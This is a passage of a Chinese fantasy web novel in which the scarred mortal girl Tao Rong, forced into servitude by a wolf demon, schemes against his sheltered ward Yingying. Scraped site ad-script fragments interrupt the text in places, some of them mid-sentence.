他是五大三粗的狼妖,从前就是一只妖兽坐骑,后来带萤萤小姐逃到荒僻的山里,十六年来,对养孩子一无所知的他,磕磕碰碰,含辛茹苦才将她带大。 为了让她平安无恙地成长,他舍弃了一切! 可少女的表情,却还是抱着不该有的心思——对外面世界的好奇。 再这样下去,她或许总要挣开他的手心。 “你们可以留下来。” 他冷酷的眉眼变得几分柔和,松了口,暂时随了少女的心意。 一个鼠妖一个凡人,都好控制。 这是他作出的最大让步。 他看向独眼的鼠妖:“不过,有个条件。” 锦雏乐了,谁知大妖冷酷指向他身侧的少女:“以后,这个凡人须做萤萤的丫环,事无巨细照料她,不过,你这凡人心肠不善,下手狠辣,需要服下我手中这颗驯兽丹,便能保证对我的命令言听计从,自然也会对萤萤忠心不二,不会作出伤害她之事。” 驯兽丹,顾名思义,驯服野兽的,现在给她吃。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>锅从天上来,陶蓉暗暗握紧拳头,兜兜转转,又要让她做丫环,还要服用这劳什子驯兽丹。 “我……不想……” 一道罡风甩来,蕴含着大能的威压,独眼少年费力挡下。 和和气气,锦雏嬉皮笑脸拍了拍陶蓉的后背,却像是推荐某个物件:“我虽然把她当作我妹妹,但她实际上也是我的仆人,什么活都能干,人也聪明机灵,加能给美丽的萤萤姑娘做丫环,她肯定是千百个愿意的,妹妹,你说呢?” “……”陶蓉低下头,心里讥笑。 姜还是老的辣,这两面三刀的独眼怪,逢源讨好人的本事,比她还高明。 她现在,很弱。 没得选。 她面无表情点头,独眼少年便接过了药丸,递到她唇边。 在所有人理所应当的目光下,陶蓉近乎屈辱的咽下这颗“驯兽丹”。 手脚开始麻痹,她仅存站立的力气,被丹丸吸收大半,她半跪在地上,痛苦闭上了眼。 而独眼少年,也弯下腰,笑吟吟地对妖婴期的狼妖表明忠心:“老大,日后小弟和小妹都为你效命,即使刀山火海,也要誓死追随!” * 连绵不绝的青山,罩着朦胧的雾气,雾气之下,便是狼妖和叫做“萤萤”的少女的隐士住所。 狼妖用了很多心思,完美的复刻了人间的住所。 古朴,清幽,是一个没有人间烟火的院子。 院落种满了桃树,院内和凡人居所差不多,石桌,石头打造的假山,一湾清澈见底的溪流,编织的簸箕,还有各种雕琢的木具。 屋内的家具摆设也算俱全,少女的屋子里,没有点烛火,可是烛架上,摆放着莹润明亮的圆珠。 就这一颗,大半个屋内,都亮堂了。 她藏着惊愕,小心翼翼,轻轻触了触那不是凡俗之物的明珠,眼前的少女却让她停手。 “你手还有狼血,去外头洗一洗。” 萤萤声音甜软,语气却是不大好的。 因为陶蓉杀了她喜爱的狼。 “……是。” 陶蓉缩回手,垂下眉眼,默默走出去,手伸到蜿蜒的溪流,慢吞吞揉搓。 眼前这人,像苏灵玉,却又不太像。 她在这山里,显然像住了多年。 藏着困惑,陶蓉又微微皱起眉头。 她才不信世上有长得一模一样之人。 除非……这少女是苏灵玉的姐姐还是妹妹? 潺潺的水流掠过她的指尖,冰冰凉凉,微风吹过,却很是舒爽。 她掬了一捧水,洗去脸上的血水,擦脸时,她抬眸。 身边也蹲了一人。 是那该死的锦雏。 “小丑八怪,这里不错吧,以后跟着主人,安安稳稳,不用再躲躲藏藏,也不用担心那些仙门人再来追捕我们。” “你不是我的主人。” 凉风拂过少女的发丝。 锦雏听到她冷冷开口。 “别啊,生气啦?那驯兽丹又不能伤你性命,不会有事的。” “不是。”陶蓉起身,往萤萤的房间去。 “是你,亲手把我送给别人了。” 21. 吃醋 锦雏收集了那么多稀奇古怪的宝贝,现在一股脑打开妖戒、芥子袋,殷勤地把所有宝贝倒在桌面上,让少女尽情挑选。 “萤萤小姐,这些都是好东西,你看中什么,喜欢什么,只管说出来。” 他那样抠搜吝啬的人,给陶蓉的不外乎是莲花簪子和两本书,如今慷慨大方掏出自己全部家当。 见少女有些羞涩,不太好意思挑选,还特意卖力介绍。 “这是月华梳,集月华之力炼制的梳子,可以随你的心意变化形状,能梳理秀发,也能用于施法和自我疗伤。” 晨曦穿过云霞,映照着薄雾下的世外桃源,碧草如茵,清香幽幽,院子宛若一副意境深远的水墨画。 屋内,少女含着几分生涩,晕生双颊,接过独眼少年递来的月华梳,惊讶欣喜地瞧着梳子化成半个蝶羽的模样,一双纯净好奇的眸子,弯成了月牙。 “好漂亮。” 锦雏神采奕奕:“这是琉璃簪,这是避水玉佩……这是绫罗霓裳,质地柔软,色泽如云,是仙子们喜爱的衣裳,穿上后不仅能防尘泥,还能算身量变幻合身的尺寸,萤萤小姐,你都拿着。” 陶蓉端着水盆从门口经过时,便见那表里不一的独眼怪,和条讨好人的狗似的把一大堆奇珍异宝送给了萤萤。 陶蓉睁着一双黑如深潭,冷漠而枯涩的眼,顿在门口。 便见独眼少年津津有味继续迎合道:“萤萤小姐,还有这雾隐手串,戴着它可以在遇到危险时隐形半刻,能躲过厉害的修士和妖怪,不过……小姐你也不会遇到危险,老大和在下都会保护好萤萤小姐的。” 独眼少年捧着手中浅雾色的晶润手串,眉眼带笑,却并非那种散漫不羁具有攻击性的表情,相反,眼神恰到好处的谦逊与温和,笑容春风拂面。 少女轻抿嘴角,清丽脱俗,她常年隐居在山里,对人没有什么防备心,更不懂人情世故,喜悦和羞赧全部写在脸上。 “你……你不要叫我小姐,和阿朗哥一样喊我萤萤吧,你叫什么名字呀?” 锦雏微怔:“我叫锦雏。” “那就是锦哥哥啦,我终于又多了一个亲人。”少女巧笑嫣然,伸出手来,露出了瓷白手腕:“哥哥,麻烦你帮我戴上它。” 少女皮肤娇嫩,雪白凝脂。 门外的陶蓉漠然地看着锦雏游刃有余的嘴脸微微一僵,有些局促,佩戴手串的动作变得轻柔,像是生怕一不注意就掐出指印,表情很认真。 余光一触,锦雏察觉到门外站了好半会的少女,他沉默抬头,对上少女古井无波的眼。 冷得却像是看什么仇敌似的,阴翳盯着他。 他松了手,略有尴尬,这手串和其余护身的宝贝,他知道这小白眼狼觊觎了很久。 他偏偏大大方方都送给别的姑娘。 “咳、”送给萤萤,虽然肉疼,但能讨的这丫头欢心,不亏。 只是此时颇有些当场捉…的荒谬感。 陶蓉微微颦眉,垂下睫毛,极快压下对眼前这人的厌恶,带着拒人千里的冷意,抬腿走了。 * “萤萤小姐,这是我采的野果,挺甜的。” 少女手中把玩着锦雏送的一只千鹤鸟,乌发用根绸带绑着,巴掌大的清纯小脸,笑容淡了。 “我不需要你的果子,我自己能摘,锦哥哥也可以陪我摘。” 萤萤仍对她杀狼一事,耿耿于怀。 周朗哥说,这个毁容的少女和她年纪相仿,以前生活在山下,可以做她的丫环,帮她干活,陪她玩。 可这女孩一点也不善良,握着刀子溅了一脸狼血的模样,她还一直记着。瞧着阴沉沉的,那漆黑的眼珠子盯着她,像是要把她吃了,她瞧着不舒服,也不喜欢。 萤萤是第一次讨厌一个人。 就算她在山里的确没有什么朋友,但如今多了一个锦哥哥,他很有趣,也对她好,萤萤根本不需要这个陶蓉陪伴她。 “你怎么还不出去?” 萤萤停下手,蹙起秀眉,对于反感的人进她屋子,往日甜美的语气,成了明晃晃的不高兴。 “我不喜欢你,你快出去。” 抱着小一筐红野果的陶蓉,眸光瞥向少女面前一大桌锦雏送的宝器,心下微动。 她垂涎企图已久的护身宝贝,这少女随随便便就得到了。 不过少女有天仙容貌,纯真良善的性子也能让人心生好感……身后还有一个大能撑腰,这都足以令那个抠门的独眼怪接近。 陶蓉很是眼热,却没有什么嫉妒。 毕竟嫉妒和干着急都没有用处,无论是人还是妖,从来就没有一个真正倾斜于她的。 事到如今,陶蓉做了丫环,行为被狼妖操控着,她想了一夜,想过最坏的打算,可没什么好杞人忧天的,只能平静接受。 山外圈了一层瘴气,服了药的她体力弱了许多,眼下逃跑行不通。 如今得继续想法子。 若这个少女真的不是苏灵玉……性子也当真这般单纯,那也不错。 骗小姑娘手里的东西,陶蓉没做过,但可以一试。 也许,比从独眼怪手中夺宝简单多了。 陶蓉对上少女气呼呼的小脸,扯了扯嘴角。 “小姐,你既然不喜欢我,那我出去便是。” 陶蓉神色失落,转身之际,怀里野果掉落了几个,她蹲下去捡,露出手上的伤来。 有昨夜杀狼的咬伤,还有穿过荆棘从采摘野果的划伤,裤脚上,还沾着草籽。 少女容貌不忍直视,但肤色白皙,手腕处有大大小小的血痕,瞧着触目心惊。 这般年纪的姑娘,哪个不怕疼的,要是萤萤受了这一手的伤,周朗断会给她迅速用药治愈好。 可陶蓉没说什么,甚至也不包扎。 直至第三日,陶蓉不知如何摘了一捧柿子来。 她没再进屋,只站在门口,脸上没了凶狠杀气,换上一副老实欢喜模样。 “小姐,这柿子放个两日,就会很甜,你若是喜欢,我再去多摘点。” 萤萤正在喂小野兔吃草,她抚摸小兔子柔软的毛,闷不做声瞥她一眼,只看了一眼,就很快移开眼。 照旧不愿搭理。 这人还算听得懂人话,除了每日倔强给她摘果子,再没出过什么出格的事。 只是那又如何?她才不想接受她的好意。 “我不吃,你走。” “好。” 门外一脸期待的少女眸色暗了,她转过身,突然闷哼一声。 萤萤抱起小兔子,惊吓去看。 少女一手扶着墙,另一只手无力垂下,脚步踉跄。 柿子树很高,周朗从不让自己萤萤爬树上采摘,她想 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吃,只要开了口,周朗哥一眨眼就能帮她摘到手。 瞧向门外少女那一瘸一拐的架势,很显然,瞎了眼的人都能看出来,她是自己爬到高树上,受了伤。 哼。 又没人叫她去摘柿子,她自己要做的。 萤萤撇嘴,却是有些不安的抠了抠手。 * “萤萤不需要你做事不是更好?何必把自己搞得这么狼狈?” 独眼少年倚在角落的屋外,眼疾手快拿了一个看起来半红半青的柿子,咬了一口,舌尖发麻。 他皱起脸,目光跟着受了伤的少女移动,笑意融融:“你还生气呢?” 陶蓉进屋安静落坐,没理他,自顾自给脱臼的手腕缠上布条。 她真是低估了,那表面上看起来和个白茶花似的单纯丫头没上钩,看来,她还得出点血。 陶蓉小时候在村里也没什么小姐妹,天天洗衣干活,带着两个鬼心思多的弟弟,认知里,若是惹了谁不高兴,比较擅长的法子,就是让对方打骂一顿,发泄火气。 再严重点,就比如有一次弟弟自个走路磕着了,伤了额头。她爹勃然大怒,说让她这个不中用的丫头滚出家门,陶蓉害怕,便只好用把自己额头也敲破,让娘和村里人看到,那时候,娘就会劝劝爹。 “你在想什么呢?” 锦雏掀起眼帘幽幽看了丑八怪一眼,这几日,她没再喊他主人便算了,甚至面对面遇到,招呼都不打,冷冷淡淡擦身而过便是。 天底下……哪有这样犯了错却不知悔改的小白眼狼。 “没想什么,你今日还要带小姐去玩吗?” 少女对上他的目光,四目相对,黑眸没什么情绪,就如村头聊家常问吃了饭没有的老妪一样平淡。 锦雏心里堵得慌,萦绕着挥之不去微妙郁闷:“嗯,今夜我带萤萤去看萤火虫,你要去吗?” “就在西处的山谷里,那儿有几棵枫树,景色不错,到时候可以一起坐在那里赏月。” “不去,我不会打搅你们的好事。” 刚刚升腾的一丝期待立即被浇了个灭,独眼少年咧起的嘴角一滞,拧眉:“哦,那就算了。” “……” 空气中气氛凝滞,锦雏立在门外抱着臂,不动声色打量着陶蓉。 以往这种时候,他是主人,丑八怪是低眉顺眼乖觉的小仆人,紧张不自在像是被踩了尾巴一样提心呆胆的人,从来都不是自己。 而今,他缄默瞅着陶蓉,却见她半晌,也没有再抬头。 脑海中又闪过她那日对他''见死不救''''冷眼旁观''最后用刀尖对准他妖丹的模样。 凶残恶毒,这小丑八怪,根本就没必要再浪费时间亲手培养,也不可信任。 就让她做一个被驯兽丹控制的小丫环便好,凡人寿命短暂,还脆弱,他就算不用管她,她也只能在这山里,自生自灭。 他眼底闪过一瞬的冷郁,大步流星离去。 陡然,他猛停下脚。 回头,他晦暗不明瞧一眼少女。 ……她那阴阳怪气的一句话,是什么意思? 她现在这样……不会是在吃醋吧? 不可能,绝对不可能! 她要是喜欢他,怎么会要杀他? 对他又爱又恨么? 锦雏觉得自己脑子泡了水,不正常了。 22. 她在看星,她在吃兔兔 临近月圆之夜,周朗每个月的十五前后几天都会出门,不许萤萤乱跑,神神秘秘,也不许她提起他的去向。 萤萤已经习惯了这几日一个人待在屋子里,如今得到了周朗的准许,锦雏能带她出门赏月。 除了周朗,还有其他人陪萤萤,一成不变的日子,终于有了波澜。 欢天喜地换上锦雏送的漂亮衣裙,少女按捺住心下的激动,却压不住眉飞色舞的欣悦。 “锦哥哥,我还想看,你昨日给我变的小雏菊。” 少女揪住独眼少年的袖角,有些羞怯。 谁料她话音刚落,少年修长指尖立马爬上一抹绿茎,几朵含苞欲放的花朵遽然出现在眼前。 就和变戏法似的,少年勾了勾手指,像是在唤醒沉睡的小精灵,花骨朵缓慢绽放,露出粉红或淡紫的花蕊。 “喜欢么?” “嗯!” 独眼少年低声笑了下,轻点少女的乌发,小雏菊随主人意愿,乖觉戴在少女的头上。 月貌花容,出水芙蓉,他的妖灵,好像只有眼前这位仙姿佚貌的小姑娘可以匹配。 他收回手,站在山坡上,视线越过少女秀发上的花蕊,恰似无意看向幽静悠远的院子。 有一定妖力的妖怪夜里能视物,像周朗是狼妖,和锦雏一样都有种族优势,天生就是夜行者,都不需要引人注意的鸡肋灯盏。 萤萤虽是个凡人,屋内有通透的鲛珠照明,除了他送的宝器,身上也有一大堆周朗给的护身宝物,常年生活在这,也早就熟稔了。 可陶蓉刚来山里没两日,没有照明灯,夜里起夜或许都靠摸索。 遥望一眼,那院子的方向,黑灯瞎火,瞧不出一丝光亮,到真像被与世隔绝之所。 “锦哥哥,我有点儿口渴。” “好。” 独眼少年倦怠收回眼。 少女一句渴,他便事先取下准备好的水囊;遇到泥泞的小路会特意提醒她绕道走;秋日夜风也有些大,他脱下外衣来,周到的给少女披上。 嘘寒问暖,无微不至,少女望着眼前的少年,一时有些怔愣。 “阿朗总不太爱笑,也不爱和我说话……锦哥哥,你对我真好,和你在一起,萤萤一点儿也不觉得孤单。” 少年闻言唇角漾起轻笑。 停脚,高挑的身影有意落在小姑娘背后,他俯身,低醇悦耳的闷笑声从胸口发出,几缕发丝无关痛痒垂落在少女纤美的肩上。 萤萤正想回头呢,谁料眼睛被一双布满茧子温暖的大手覆盖住。 “莫要怕,继续往前走,萤火虫就在前面了。” 锦雏一步步将人领到西山。 拨开提早挂在树枝上的风铃,只听玉环相击的一串串脆响,像是进入了另一个世界,耀眼的光芒透过手指的缝隙,传达给了萤萤。 少女捏着衣角,她知道,今夜,锦哥哥带她来这里,是看流萤的。 萤萤在山里生活有十六年了,那种屁股冒着夜光的小虫子,她知晓,只有在夏季才有。 如今秋风萧瑟,萤萤心里还以为锦雏哥哥在吹牛,没说出来就是怕伤他颜面。 可当少年松开手时,从前她待在山里看过的数次美景,却比不上今夜所见的一半惊艳。 眼前确确实实是流萤!全部盘旋在一棵树上,微暗的幽光聚集在一起,汇成了一个大大的光源,在黑夜里异常瞩目,远远看去,那棵树在发光,宛如神灵笼罩。 头顶上空,原本暗沉沉的乌云遮盖了月盘,而今,头顶是浩瀚无垠的星辰,闪烁晶亮,仿若抬手便可摘星。 “喜欢吗?听说今日是你的生辰,想着你应该会开心。” “锦哥哥……你怎么会知道我的生辰?” 少女耳珠泛红,反应过来后,轻咬下唇,转喜为忧:“哦,肯定是阿朗哥告诉你的,可是……我每年生辰,他从来都不来陪我庆祝过。” 萤萤知道,周朗是狼妖。从小到大,也就是周朗陪着她,他虽然寡言少语,但从始至终,都是他在照顾她,把她养大。 他每个月圆前夕都会不见踪影,久而久之,萤萤明白,周朗肯定有自己的要紧事和苦衷,否则他不会故意不露面的。 每年的生辰,萤萤都会乖乖听周朗的话。 坐在屋子里,偶尔孤单地抱着周朗送给她的那颗鲛珠,大多时候,她也会那些毛发摸起来异常温热柔软的兔子,有一搭没一搭地和兔子们说话,却怎么看,都像是自言自语。 如今,这是她过的第一个生辰。 少女眼眶有了湿意,望着独眼少年的侧脸,这几年,她平等地喜爱每一个小动物,但只有眼前的人,令她心头一暖,莫大触动。 萤萤以前,闹过几次脾气,央求周朗好几次,他才会干巴巴给她将一些人间的故事。 他说过,人间的凡人都不可靠。比如有一个身体健壮的庄稼汉每日辛劳种地,家里一家老下都要靠他养活,但男人不小心摔断了腿脚,做不了活了,久而久之,庄稼汉的家人们都厌烦了他,还骂他是废物。 周朗还说,凡间有个老妪,年轻的时候死了丈夫,成了寡妇,靠着绣花的本事好不容易拉扯几个儿子长大,结果儿子们长大后有的当了官有的发了财,到头来却都嫌弃因为年轻时太过操劳熬瞎了眼的老母亲,没有一个儿子愿意侍奉在母亲身边,最后,这个老妪,病死在床上,身体臭了都无人察觉。 “人都是自私险恶的动物,有些利益熏心贪婪的人,心狠手辣,什么事都做的出来……萤萤,人间没什么好的,你有一颗至纯至善之心,和凡人们都不一样,只要好好待在山里,不受荼毒就好。” 她那时候,对周朗的话深信不疑,对人间有了恐惧,再没提过什么下山。 可长大后,少女畏惧山外的世界的同时,却又极度孤单。 她渴望…做一个真正有喜怒哀乐的人。 而不是像现在……大脑空白,终日吃着乏味野果,喝着无味泉水。 周朗说,她天生就有一颗最纯净的心,善良是她的天性,可萤萤怜爱山 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 林里的每一个飞禽走兽……这些年来,她喃喃自语和它们讲一大堆话,却始终得不到真正的回应。 她救助过受伤的小鸟,从兽口中拦过即将被咬死的野兔崽子,撕下衣衫包扎压断的树枝,甚至被蛇咬了,也会在周朗怒意之时,将蛇偷偷放生。 可小鸟翅膀痊愈后,就扑棱飞走了;蛇没过几个月又会攻击她。在她黯然神伤偷偷抹眼泪时,怀里喂了三年浑圆膘肥的兔子该吃吃该睡睡,照样随地拉屎拉尿,听不进人话,也根本不能给予她一丝温暖。 周朗会关心安抚她,可他说得最多的,无非是:萤萤,乖,好好睡一觉,不要想那些乱七八糟的东西。 山里那些茹毛饮血的野狼们,虽然会朝她摇尾乞怜,用舌头舔她的手,却大部分是因为周朗是狼妖。 而今,除了周朗以外,她有了另一个亲人了。 桃红色晕染了双颊,心怦怦乱跳,好像揣了一只小鹿似的。她不懂如何形容这种心绪,只是流萤树近在眼前,她却忍不住频频看向身侧的独眼少年。 锦雏仰头,笑望着头顶的那些幻术,只当做不知。 * 陶蓉她不瞎,看得出来,那夜里''纳凉''赏月的两人,气氛微妙。 她自然不会去做哪没有眼力见的事,碍了独眼怪的眼。 假意起夜,陶蓉摸索着在院子里兜转了一圈,实则早就对院内布局了如指掌,轻车熟路。 绕了一圈,陶蓉脚步停在篱笆前,轧倒几根篱笆,捞起自家萤萤小姐钟爱的肥野兔。 直到她抱着野兔走出院子,往反方向东边走,都没有人对她动手。 从昨日起,心照不宣约定好了似的,萤萤没有再去找过周朗,锦雏自前天去见过周朗拍马屁,也没再敲过门。 如她所料,周朗不在屋子里。 大妖诡计多端,她怕狼妖在院子里布下了暗线,抱走萤萤常喂养的野兔后,甚至开口说要吃了这兔子,周朗的罡压都没有袭来。 陶蓉挑眉,拎起野兔的一双毛绒绒耳朵,却是无不残忍一笑。 本来想试试水,现在这兔子只能自认倒霉吧。 这山里,啥动物都是萤萤的‘朋友’,天天吃野果,肚子半点油水都没有,连个体力都没有。 剥了皮的兔肉用火烤,是最省事的。 若是在城镇里,她定会备下些盐巴料粉,可现在,兔肉被烤地焦香冒油,即使没有味道,但至少肉质肥瘦相间,怪香的。 陶蓉直接撕咬开吃,最后用泥埋葬了零星的骨头和动物的皮毛,暂时满足地回了院子。 那两个赏月的人,应该快要回来了。 陶蓉洗漱一番,躺回自己的小屋,果不其然,没多久,响起少女甜丝丝的嗓音。 “锦哥哥,你的衣服还给你,明日……你再带我去好不好?” “嗯,萤萤,时候不早了,你快去睡吧。” …… 直到院内男女声音静了下来。 躺在床榻上假寐的陶蓉才慢慢睁开眼。 23. 破冰 轧倒的篱笆外预兆着什么,兔子不见了。 大清早,陶蓉就见少女焦急地四处寻找。 “锦哥哥,兔兔我养了三年,它很乖,从来都不会乱跑,为何会突然不见了?都怪我这几天顾着跑出去玩,是我没有看好它……” “别着急,我帮你一起找。” “哥哥,兔子不会好端端就不见了,会不会是……” 顺着少女红通通的眼眶,锦雏目光落在不远处握着扫帚的陶蓉身上,他微顿。 虽然他有心放过小丑八怪一次,但很显然,这凡人并不是规矩老实的等闲之辈。 昨夜她一个人待在院子里,依她小肚鸡肠的性子,想必满腹怨愤。 “兔子怎么不见了?” 锦雏撇眉,语气下意识便带上诘问:“昨晚就你一人在屋子里,兔子偏偏这段时间失踪了,是你做了什么吗?你对我心有不满?” 不得不说,独眼怪挺了解陶蓉的秉性,不过陶蓉对他算不上不满,只是一视同仁的瞧不顺眼,想他死。 陶蓉百无聊赖扫了扫落叶,要入冬了,院子里栽了这么多树,结果叶子都落光光啦。 回头时,她表情无辜且茫然:“小姐,我冤枉啊,昨夜我就早早睡下了,睡得沉,根本不知道发了什么。” 锦雏冷嘲热讽:“我和萤萤昨夜出去了,你怎么可能那么早就睡得着?” “我为何睡不着?我就是手无缚鸡之力的小凡人,每日要干活,很累的,沾床就能睡着。” 锦雏横她手中的扫帚,轻嘲:“萤萤叫你干活了吗?我也没有,别拿这些当借口。” “主人说了,说我按照以前怎样,现在就怎样来,这些活还是我干,我吃了驯兽丹,根本没办法不听。” “所以你的意思,就是怪我喽?” “不敢。” 独眼少年哼笑:“你有什么不敢的?我当初救了你一命,除了让你干活,也指点过你,总归没做过什么狗憎人厌的事吧?你这个白眼狼。” “行了。” 萤萤泪花在眼角打转,她养的兔子失踪,心里焦急,结果锦雏哥哥和陶蓉斗起嘴来了。 从她的兔子扯到别的话上,她看着二人你一嘴我一嘴,明明不把她的事当回事! 而且……锦雏脸上还含着笑,她越瞧越觉得心里堵得慌。 “锦哥哥,你还是陪我出去找找吧,说不定……兔兔真的跑出去了。” 她没有证据指认谁,兔子不见了,也怪她自己不注意,若是无凭无据非要怪在陶蓉身上,锦雏恐怕觉得她不讲理。 萤萤对外面的世界所知甚少,如今好不容易多了一个待她好的家人,她唯恐一不小心,就会让锦雏觉得她没有教养。 萤萤匆匆瞥了一眼丑陋的陶蓉,自己还是和她不一样的。 从小时候起,阿朗哥就夸过她,说世人皆鄙,唯独她超凡脱俗,至善至美,不染纤尘。 锦雏哥哥也赞过她,说她是他见过最好看的姑娘。 而看看眼前这人……萤萤大半闷气都消散了。 算了,她平白无故和一个丑恶可怜的凡人,恼什么呢。 兔子好歹养了三年,山里再大,不管是死是活,只要仔细找,总归找得到。 吹出一声清脆的口哨声,不消半刻,成群的狼朋友从山巅而下,乖顺地聚集在院子外等待她的命令。 狼的嗅觉最是灵敏,到时候,应该会发现些什么痕迹。 少女眼眸湿润,回头看了一眼院子里的陶蓉,眼睫眨巴眨巴,我见犹怜。 她头一次对陶蓉缓和了语气,温软有礼道:“陶姐姐,刚才是我不好,是我错怪了你,麻烦你在院子里不要走,我们出去找找,或许兔兔晚些自己也能回来了,可以吗?” 陶蓉挑眉,迎风立在飘着落叶萧瑟的院子里:“好的,小姐。” * 萤萤比她想象中还要聪慧,虽然不知道在顾及什么,但陶蓉昨夜从她宰杀兔子到给兔子埋骨,都做的隐蔽且没有留下痕迹,还特意用了混淆味道的匿香蕈。 这几日,她借着采摘野果的名头,在山里寻到不少草药。 就如匿香蕈,此草看着平平无奇,却是《万灵草经》记载过的,完全能用自身浓重的味道掩盖其它气息。 日头偏移,驮着少女的头狼伏下身,方便让少女落地。 锦雏没有回来,倒是萤萤先回来了。 陶蓉赶忙迎上前去,上手帮少女摘取身上沾染的草屑,轻声问:“萤萤小姐,可有什么发现?锦雏大人呢?” 少女情绪低落,郁郁寡欢:“兔子还没有找到,太奇怪了,一点踪迹都没有……锦哥哥他说什么有妖气,让我先回来。” “有妖气?” “嗯。” 脸色有些疲软的少女懒懒掀起眼皮瞥了一眼陶蓉,仍是不太愿意搭理她。 此时四下无人,只有两人与一匹头狼。 头狼也跑了半日,累极了,正趴在地上对着泥地里的小水坑饮水。 “真的不是你?兔兔不会无缘无故消失,整个山里,没有动物会随意进院子做坏事,我想到的只有你。” 萤萤不知道哪里来的底气。 她向来不会如此咄咄逼人指责谁,别说周朗哥,就连咬过她的蛇,萤萤最后都心软放过了它一命。 可现在,她脑海中闪过几个时辰前锦雏与眼前女孩斗嘴的模样。 锦哥哥待她很温柔,可与对她一天到晚都轻声细语咧嘴笑的锦雏相比,她心里还是更喜欢斗嘴时候的少年。 脸上看得出喜怒,萤萤觉得这样的锦雏,才是真实的。 她捉摸不清锦雏对陶蓉到底是不是关心的,所以只好掐着时机在这私下里问陶蓉。 “你实话告诉我,到底是不是你?兔子到底被你藏在哪里?” 手心里是绵密的细汗,萤萤学着周朗的面色,表情冷硬地瞪着陶蓉。 那副表情,看起来凶巴巴的,对陶蓉来说,却没什么威慑力,颇像个‘色荏内茬’的纸老虎。 “我也不是什么好欺负的人!你别以为我这几天不理会你,看起来不为难你,就不会对你怎么样!兔兔我养了三年,你如果敢伤害它一根兔毛,我都会让你付出代价!” 少女面皮子薄,这种话没说过,压着嗓子低吼了两句,结果眼前的人依旧没多大反应。 她的脸颊渐渐涨红了。 “陶蓉,我没当着锦雏哥哥的面责问你已经很给你面子了,现在也是在给你一个机会,你不要逼我把事情做的太难看。” 什么一根兔毛?陶蓉早就尝过兔肉的滋味了。 陶蓉静静看着眼前的少女,愣不吭声,意味深长打量观察少女的言行。 看了半晌,陶蓉缓缓吐出一口气来。 她以为是个对手,结果像个刚探出头的嫩芽儿,小笋尖儿,太嫩了。 正好,趁着锦雏这个碍事的妖不在,陶蓉也好大着胆子试试水。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 四目相望,萤萤心口跳如擂鼓,险些败下阵来时,她冷不丁地听见一声轻笑。 清凌凌的,像是天寒地冻,结了冰的溪面破开,积雪消融之声。 “小姐,真不是我,兔兔那么可爱,我怎么可能做那种残忍的事?” 脸上凹凸不平,布满疤痕的少女笑了,去倒了一杯茶水来,递给了萤萤。 “小姐,口渴了吧,先喝茶润润嗓子。” 萤萤第一次骂人。 没成想这人这般无耻。 陶蓉手刃野狼的画面,还历历在目。 萤萤没去接茶碗,缩手避开,没成想茶碗直接底朝天落地,翻了个面。 “抱歉,小姐,是我笨手笨脚。” 陶蓉屈膝跪下,捡起茶碗,低着头莫名卑微到极点。 “小姐,其实兔子也好,人也好,都向往自由,我知道你不喜欢我,可我也是有爹娘疼爱的姑娘,要不是生活所迫……我不会跟随锦雏做他仆人,也不会自寻死路闯入这座山,为了活下去靠一己之力去抵抗狼群……” “小姐,我也是人,我也会痛也会难受,这些天,我也想让小姐像接纳锦雏大人一样接纳我……可我蠢笨,讨不了你欢心,兔子突然不见了,我心里也很恐惧,锦雏刁难我是常事,你也怪在我身上,我不知道该如何为自己辩解……” 女孩失魂落魄跪在地上,咬着下唇,眼泪从她那双凝滞眼睛里像泉水一般流溢出来。 “小姐,我很羡慕你。” 霎时,坐在石凳上的萤萤心尖儿便如同踩空般猛地一紧,大脑一片空白。 她听到了她开口说得艰涩的“羡慕”二字。 细细低低的呜咽声传来,清晰地传入耳朵,一下又一下,猛敲猛打少女无措的心口。 “你…你起来。” 少女在山中隐世,有大妖全心全意迁就照料,不分尊卑贵贱,也没有和谁撕破脸皮伤人至此。 也没有见过谁,当她面哭得像两眼小泉,啪嗒一串,啪嗒一串,不断线儿。 “你快起来,别哭了。” “小姐,我知道我不好看,你对我也有成见,可你对山里的一花一草都有怜爱之心,若当真那般善良,为何唯独讨厌排斥我呢?” 陶蓉手捂住脸,泪水却从指缝里向外涌流。 “我……”萤萤哑口无言。 她脑袋杂乱得很,绷紧了脊背,不知道要作何反应。 她觉得自己急需把锦雏唤回来,让他为自己解解惑。 又觉得自己该扶起地上的女孩,至少也给她擦下眼泪。 可她还在为难思索间,极粗糙磨手的掌心已经扣住她的手腕。 陶蓉脖颈的肌肤很白嫩,手背除了伤痕,却也有风吹日晒的晒影。 衬着萤萤肤若凝脂的手腕,有明显色差。 “小姐,你该接受这样的我不是吗?” 少女摊开手指,发红的眼角带着一抹嫣红,她紧紧盯着萤萤,神情认真。 “我的命可捏在你的手里了,以后我就做你的兔子也可以的……小姐,你不能弃我于不顾啊。” 萤萤从没这样七上八下纠结过。 就像被什么东西癞上了,甩不掉的感觉。 “小姐,你好狠的心……” 周朗哥说过,凡人擅长算计,堪比狐狸。 萤萤磕磕巴巴,阖眼不去看她:“好了,你起来,兔子的事,跟你没关系,我不会再提了。” 24. 地窖 秋季,蛇都从洞里爬出来觅食,为冬眠做准备。 陶蓉昨夜外出烤兔肉时,随便逮着一条菜花蛇,把那颗有裂痕的蛇丹,喂进了菜花蛇嘴里。 经过一夜,那条菜花蛇和蕴含一半妖力的蛇丹融合,定然会引起暴乱,泄发妖气。 锦雏还没有回来,想必是察觉出陶蓉放出的诱饵。 趴在水坑旁喝水的头狼甩了甩头,本是温顺的兽眼蓦然变了。 露出獠牙,凶相毕露。 少女说,山里的动物都很可爱纯善,这些茹毛饮血的豺狼朋友也很听话。 所以陶蓉提前在水坑里,掺了能激发野兽兽性的草汁,还有些许“千金两”。 不期然,当了少女大半日坐骑的头狼感到乏累干渴,多半会在院门口的水坑里解渴。 陶蓉和萤萤说话的当口,趴在地上舔水的头狼,不知道喝得多欢。 狼本就是山林弱小动物的天敌,食肉动物,天性凶残。 时不我待,陶蓉想先让这位小仙子,亲眼看看野兽的本来面目。 《万灵草经》记载的山野里可寻得的药草,不仅会扰乱野兽兽智,还能彻底激发了头狼的凶性。 